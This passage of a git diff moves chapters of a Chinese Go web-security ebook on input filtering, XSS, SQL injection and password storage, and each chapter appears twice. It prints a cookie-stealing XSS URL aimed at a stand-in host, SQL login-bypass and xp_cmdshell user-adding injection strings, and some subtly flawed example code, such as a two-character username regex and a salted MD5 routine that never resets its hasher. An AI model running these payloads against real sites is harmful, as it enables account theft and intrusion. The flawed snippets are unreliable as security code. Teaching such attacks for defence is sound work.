上面的方法对于过滤一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只能由字母及数字组成:
|
||||
|
||||
r.ParseForm()
|
||||
username := r.Form.Get("username")
|
||||
CleanMap := make(map[string]interface{}, 0)
|
||||
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
|
||||
CleanMap["username"] = username
|
||||
}
|
||||
|
||||
## 总结
|
||||
数据过滤在Web安全中起到一个基石的作用,大多数的安全问题都是由于没有过滤数据和验证数据引起的,例如前面小节的CSRF攻击,以及接下来将要介绍的XSS攻击、SQL注入等都是没有认真地过滤数据引起的,因此我们需要特别重视这部分的内容。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [预防CSRF攻击](<09.1.md>)
|
||||
* 下一节: [避免XSS攻击](<09.3.md>)
|
||||
104
09.3.md → ebook/09.3.md
Executable file → Normal file
104
09.3.md → ebook/09.3.md
Executable file → Normal file
@@ -1,52 +1,52 @@
|
||||
# 9.3 避免XSS攻击
|
||||
随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。
|
||||
|
||||
## 什么是XSS
|
||||
XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。
|
||||
|
||||
XSS通常可以分为两大类:一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS,主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。
|
||||
|
||||
XSS目前主要的手段和目的如下:
|
||||
|
||||
- 盗用cookie,获取敏感信息。
|
||||
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
|
||||
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。
|
||||
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
|
||||
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果
|
||||
|
||||
## XSS的原理
|
||||
Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因。
|
||||
|
||||
接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:`http://127.0.0.1/?name=astaxie`,就会在浏览器输出如下信息:
|
||||
|
||||
hello astaxie
|
||||
|
||||
如果我们传递这样的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也放会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?,攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。
|
||||
|
||||
更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章
|
||||
|
||||
## 如何预防XSS
|
||||
答案很简单,坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。
|
||||
|
||||
目前防御XSS主要有如下几种方式:
|
||||
|
||||
- 过滤特殊字符
|
||||
|
||||
避免XSS的方法之一主要是将用户所提供的内容进行过滤,Go语言提供了HTML的过滤函数:
|
||||
|
||||
text/template包下面的HTMLEscapeString、JSEscapeString等函数
|
||||
|
||||
- 使用HTTP头指定类型
|
||||
|
||||
`w.Header().Set("Content-Type","text/javascript")`
|
||||
|
||||
这样就可以让浏览器解析javascript代码,而不会是html输出。
|
||||
|
||||
|
||||
## 总结
|
||||
XSS漏洞是相当有危害的,在开发Web应用的时候,一定要记住过滤数据,特别是在输出到客户端之前,这是现在行之有效的防止XSS的手段。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [确保输入过滤](<09.2.md>)
|
||||
* 下一节: [避免SQL注入](<09.4.md>)
|
||||
# 9.3 避免XSS攻击
|
||||
随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。
|
||||
|
||||
## 什么是XSS
|
||||
XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。
|
||||
|
||||
XSS通常可以分为两大类:一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS,主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。
|
||||
|
||||
XSS目前主要的手段和目的如下:
|
||||
|
||||
- 盗用cookie,获取敏感信息。
|
||||
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
|
||||
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。
|
||||
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
|
||||
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果
|
||||
|
||||
## XSS的原理
|
||||
Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因。
|
||||
|
||||
接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:`http://127.0.0.1/?name=astaxie`,就会在浏览器输出如下信息:
|
||||
|
||||
hello astaxie
|
||||
|
||||
如果我们传递这样的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也放会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?,攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。
|
||||
|
||||
更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章
|
||||
|
||||
## 如何预防XSS
|
||||
答案很简单,坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。
|
||||
|
||||
目前防御XSS主要有如下几种方式:
|
||||
|
||||
- 过滤特殊字符
|
||||
|
||||
避免XSS的方法之一主要是将用户所提供的内容进行过滤,Go语言提供了HTML的过滤函数:
|
||||
|
||||
text/template包下面的HTMLEscapeString、JSEscapeString等函数
|
||||
|
||||
- 使用HTTP头指定类型
|
||||
|
||||
`w.Header().Set("Content-Type","text/javascript")`
|
||||
|
||||
这样就可以让浏览器解析javascript代码,而不会是html输出。
|
||||
|
||||
|
||||
## 总结
|
||||
XSS漏洞是相当有危害的,在开发Web应用的时候,一定要记住过滤数据,特别是在输出到客户端之前,这是现在行之有效的防止XSS的手段。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [确保输入过滤](<09.2.md>)
|
||||
* 下一节: [避免SQL注入](<09.4.md>)
|
||||
138
09.4.md → ebook/09.4.md
Executable file → Normal file
138
09.4.md → ebook/09.4.md
Executable file → Normal file
@@ -1,69 +1,69 @@
|
||||
# 9.4 避免SQL注入
|
||||
## 什么是SQL注入
|
||||
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
|
||||
|
||||
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
|
||||
## SQL注入实例
|
||||
很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。
|
||||
|
||||
下面将通过一些真实的例子来详细讲解SQL注入的方式。
|
||||
|
||||
考虑以下简单的登录表单:
|
||||
|
||||
<form action="/login" method="POST">
|
||||
<p>Username: <input type="text" name="username" /></p>
|
||||
<p>Password: <input type="password" name="password" /></p>
|
||||
<p><input type="submit" value="登陆" /></p>
|
||||
</form>
|
||||
|
||||
我们的处理里面的SQL可能是这样的:
|
||||
|
||||
username:=r.Form.Get("username")
|
||||
password:=r.Form.Get("password")
|
||||
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
|
||||
|
||||
如果用户的输入的用户名如下,密码任意
|
||||
|
||||
myuser' or 'foo' = 'foo' --
|
||||
|
||||
那么我们的SQL变成了如下所示:
|
||||
|
||||
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
|
||||
|
||||
在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。
|
||||
|
||||
对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。
|
||||
|
||||
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
|
||||
Db.Exec(sql)
|
||||
|
||||
如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值,那么sql将会变成
|
||||
|
||||
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
|
||||
|
||||
MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。
|
||||
|
||||
>虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。
|
||||
|
||||
|
||||
## 如何预防SQL注入
|
||||
也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此,但没人能保证攻击者一定拿不到这些信息,一旦他们拿到了,数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容易得到相关的代码。如果这些代码设计不良的话,风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。
|
||||
|
||||
这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。
|
||||
|
||||
SQL注入攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。
|
||||
|
||||
1. 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。
|
||||
2. 检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
|
||||
3. 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。
|
||||
4. 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare`和`Query`,或者`Exec(query string, args ...interface{})`。
|
||||
5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。
|
||||
6. 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。
|
||||
|
||||
## 总结
|
||||
通过上面的示例我们可以知道,SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用,应该对于每一个小细节都要非常重视,细节决定命运,生活如此,编写Web应用也是这样。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [避免XSS攻击](<09.3.md>)
|
||||
* 下一节: [存储密码](<09.5.md>)
|
||||
# 9.4 避免SQL注入
|
||||
## 什么是SQL注入
|
||||
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
|
||||
|
||||
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
|
||||
## SQL注入实例
|
||||
很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。
|
||||
|
||||
下面将通过一些真实的例子来详细讲解SQL注入的方式。
|
||||
|
||||
考虑以下简单的登录表单:
|
||||
|
||||
<form action="/login" method="POST">
|
||||
<p>Username: <input type="text" name="username" /></p>
|
||||
<p>Password: <input type="password" name="password" /></p>
|
||||
<p><input type="submit" value="登陆" /></p>
|
||||
</form>
|
||||
|
||||
我们的处理里面的SQL可能是这样的:
|
||||
|
||||
username:=r.Form.Get("username")
|
||||
password:=r.Form.Get("password")
|
||||
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
|
||||
|
||||
如果用户的输入的用户名如下,密码任意
|
||||
|
||||
myuser' or 'foo' = 'foo' --
|
||||
|
||||
那么我们的SQL变成了如下所示:
|
||||
|
||||
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
|
||||
|
||||
在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。
|
||||
|
||||
对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。
|
||||
|
||||
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
|
||||
Db.Exec(sql)
|
||||
|
||||
如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值,那么sql将会变成
|
||||
|
||||
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
|
||||
|
||||
MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。
|
||||
|
||||
>虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。
|
||||
|
||||
|
||||
## 如何预防SQL注入
|
||||
也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此,但没人能保证攻击者一定拿不到这些信息,一旦他们拿到了,数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容易得到相关的代码。如果这些代码设计不良的话,风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。
|
||||
|
||||
这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。
|
||||
|
||||
SQL注入攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。
|
||||
|
||||
1. 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。
|
||||
2. 检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
|
||||
3. 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。
|
||||
4. 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare`和`Query`,或者`Exec(query string, args ...interface{})`。
|
||||
5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。
|
||||
6. 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。
|
||||
|
||||
## 总结
|
||||
通过上面的示例我们可以知道,SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用,应该对于每一个小细节都要非常重视,细节决定命运,生活如此,编写Web应用也是这样。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [避免XSS攻击](<09.3.md>)
|
||||
* 下一节: [存储密码](<09.5.md>)
|
||||
178
09.5.md → ebook/09.5.md
Executable file → Normal file
178
09.5.md → ebook/09.5.md
Executable file → Normal file
@@ -1,89 +1,89 @@
|
||||
# 9.5 存储密码
|
||||
过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括顶级的互联网企业–Linkedin, 国内诸如CSDN,该事件横扫整个国内互联网,随后又爆出多玩游戏800万用户资料被泄露,另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响,人人自危,因为人们往往习惯在不同网站使用相同的密码,所以一家“暴库”,全部遭殃。
|
||||
|
||||
那么我们作为一个Web应用开发者,在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱?
|
||||
|
||||
## 普通方案
|
||||
目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。
|
||||
|
||||
Go语言对这三种加密算法的实现如下所示:
|
||||
|
||||
//import "crypto/sha256"
|
||||
h := sha256.New()
|
||||
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
|
||||
fmt.Printf("% x", h.Sum(nil))
|
||||
|
||||
//import "crypto/sha1"
|
||||
h := sha1.New()
|
||||
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
|
||||
fmt.Printf("% x", h.Sum(nil))
|
||||
|
||||
//import "crypto/md5"
|
||||
h := md5.New()
|
||||
io.WriteString(h, "需要加密的密码")
|
||||
fmt.Printf("%x", h.Sum(nil))
|
||||
|
||||
单向哈希有两个特性:
|
||||
|
||||
- 1)同一个密码进行单向哈希,得到的总是唯一确定的摘要。
|
||||
- 2)计算速度快。随着技术进步,一秒钟能够完成数十亿次单向哈希计算。
|
||||
|
||||
结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`。
|
||||
|
||||
因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。
|
||||
## 进阶方案
|
||||
通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。
|
||||
|
||||
一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。
|
||||
|
||||
但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法,我们能想到,黑客自然也能想到。特别是对于一些开源代码,这样哈希更是相当于直接把算法告诉了黑客。
|
||||
|
||||
没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是,先将用户输入的密码进行一次MD5(或其它哈希算法)加密;将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次MD5加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)。
|
||||
|
||||
//import "crypto/md5"
|
||||
//假设用户名abc,密码123456
|
||||
h := md5.New()
|
||||
io.WriteString(h, "需要加密的密码")
|
||||
|
||||
//pwmd5等于e10adc3949ba59abbe56e057f20f883e
|
||||
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
//指定两个 salt: salt1 = @#$% salt2 = ^&*()
|
||||
salt1 := "@#$%"
|
||||
salt2 := "^&*()"
|
||||
|
||||
//salt1+用户名+salt2+MD5拼接
|
||||
io.WriteString(h, salt1)
|
||||
io.WriteString(h, "abc")
|
||||
io.WriteString(h, salt2)
|
||||
io.WriteString(h, pwmd5)
|
||||
|
||||
last :=fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
在两个salt没有泄露的情况下,黑客如果拿到的是最后这个加密串,就几乎不可能推算出原始的密码是什么了。
|
||||
|
||||
## 专家方案
|
||||
上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的`rainbow table`。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。
|
||||
|
||||
怎么解决这个问题呢?只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`。
|
||||
|
||||
这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。
|
||||
|
||||
这里推荐`scrypt`方案,scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。
|
||||
|
||||
目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
|
||||
|
||||
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
|
||||
|
||||
通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。
|
||||
|
||||
## 总结
|
||||
看到这里,如果你产生了危机感,那么就行动起来:
|
||||
|
||||
- 1)如果你是普通用户,那么我们建议使用LastPass进行密码存储和生成,对不同的网站使用不同的密码;
|
||||
- 2)如果你是开发人员, 那么我们强烈建议你采用专家方案进行密码存储。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [确保输入过滤](<09.4.md>)
|
||||
* 下一节: [加密和解密数据](<09.6.md>)
|
||||
# 9.5 存储密码
|
||||
过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括顶级的互联网企业–Linkedin, 国内诸如CSDN,该事件横扫整个国内互联网,随后又爆出多玩游戏800万用户资料被泄露,另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响,人人自危,因为人们往往习惯在不同网站使用相同的密码,所以一家“暴库”,全部遭殃。
|
||||
|
||||
那么我们作为一个Web应用开发者,在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱?
|
||||
|
||||
## 普通方案
|
||||
目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。
|
||||
|
||||
Go语言对这三种加密算法的实现如下所示:
|
||||
|
||||
//import "crypto/sha256"
|
||||
h := sha256.New()
|
||||
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
|
||||
fmt.Printf("% x", h.Sum(nil))
|
||||
|
||||
//import "crypto/sha1"
|
||||
h := sha1.New()
|
||||
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
|
||||
fmt.Printf("% x", h.Sum(nil))
|
||||
|
||||
//import "crypto/md5"
|
||||
h := md5.New()
|
||||
io.WriteString(h, "需要加密的密码")
|
||||
fmt.Printf("%x", h.Sum(nil))
|
||||
|
||||
单向哈希有两个特性:
|
||||
|
||||
- 1)同一个密码进行单向哈希,得到的总是唯一确定的摘要。
|
||||
- 2)计算速度快。随着技术进步,一秒钟能够完成数十亿次单向哈希计算。
|
||||
|
||||
结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`。
|
||||
|
||||
因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。
|
||||
## 进阶方案
|
||||
通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。
|
||||
|
||||
一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。
|
||||
|
||||
但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法,我们能想到,黑客自然也能想到。特别是对于一些开源代码,这样哈希更是相当于直接把算法告诉了黑客。
|
||||
|
||||
没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是,先将用户输入的密码进行一次MD5(或其它哈希算法)加密;将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次MD5加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)。
|
||||
|
||||
//import "crypto/md5"
|
||||
//假设用户名abc,密码123456
|
||||
h := md5.New()
|
||||
io.WriteString(h, "需要加密的密码")
|
||||
|
||||
//pwmd5等于e10adc3949ba59abbe56e057f20f883e
|
||||
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
//指定两个 salt: salt1 = @#$% salt2 = ^&*()
|
||||
salt1 := "@#$%"
|
||||
salt2 := "^&*()"
|
||||
|
||||
//salt1+用户名+salt2+MD5拼接
|
||||
io.WriteString(h, salt1)
|
||||
io.WriteString(h, "abc")
|
||||
io.WriteString(h, salt2)
|
||||
io.WriteString(h, pwmd5)
|
||||
|
||||
last :=fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
